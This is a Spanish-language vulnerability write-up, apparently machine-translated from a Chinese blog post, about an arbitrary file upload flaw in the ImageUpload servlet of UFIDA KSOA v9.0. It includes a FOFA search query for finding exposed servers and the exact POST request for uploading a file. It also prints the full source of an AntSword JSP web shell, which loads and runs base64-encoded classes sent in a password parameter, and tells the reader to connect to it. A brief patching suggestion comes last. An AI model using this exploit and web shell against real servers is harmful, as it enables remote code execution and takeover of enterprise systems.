UFIDA KSOA Carga de imágenes Carga de archivos arbitrarios Vulnerabilidad Recurrencia + Explotación

1. Introducción del producto

  UFIDA KSOA es un producto de nueva generación desarrollado bajo la guía del concepto SOA, es una infraestructura de TI unificada lanzada de acuerdo con las necesidades más avanzadas de las empresas de distribución, que permite que los sistemas de TI establecidos por las empresas de distribución en varios períodos comunicarse fácilmente entre sí Ayudar a las empresas de distribución a proteger la inversión original en TI, simplificar la gestión de TI, mejorar la competitividad y garantizar la realización de los objetivos estratégicos generales y las actividades de innovación de la empresa.

2. Visión general de la vulnerabilidad

   Existe una vulnerabilidad de carga arbitraria de archivos en la plataforma ImageUpload de UFIDA KSOA, a través de la cual un atacante puede obtener privilegios de servidor. 

3. Ámbito de influencia

  Plataforma de integración de información empresarial UFIDA KSOA v9.0

4. Reproducir el entorno

  FOFA:app="Yonyou-Tiempo y Espacio KSOA"

5. Recurrencia de la vulnerabilidad

Burp toma el paquete de la página de inicio y lo envía al módulo repetidor para su reproducción. 

 punto de contacto

POST /servlet/com.sksoft.bill.ImageUpload?filename=[上传的文件名]&filepath=/ HTTP/1.1
Host: your-ip

[文件内容]

 

Reproducido con éxito

6. Explotación 

La página está escrita en java, intente cargar el troyano de una oración Ant Sword jsp directamente, contraseña: passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

Verifique que sea analizable

No hay problema, abra Ant Sword e intente conectarse (recuerde eliminar la puerta trasera después de la prueba)

 7. Sugerencia de reparación

      Actualizar a una versión o parche seguro

      Reduzca la exposición a Internet, limite los tipos de archivos cargados, aumente las restricciones de carga de la lista negra y la lista blanca, etc.

Supongo que te gusta

Origin blog.csdn.net/qq_41904294/article/details/129954240
Recomendado
Clasificación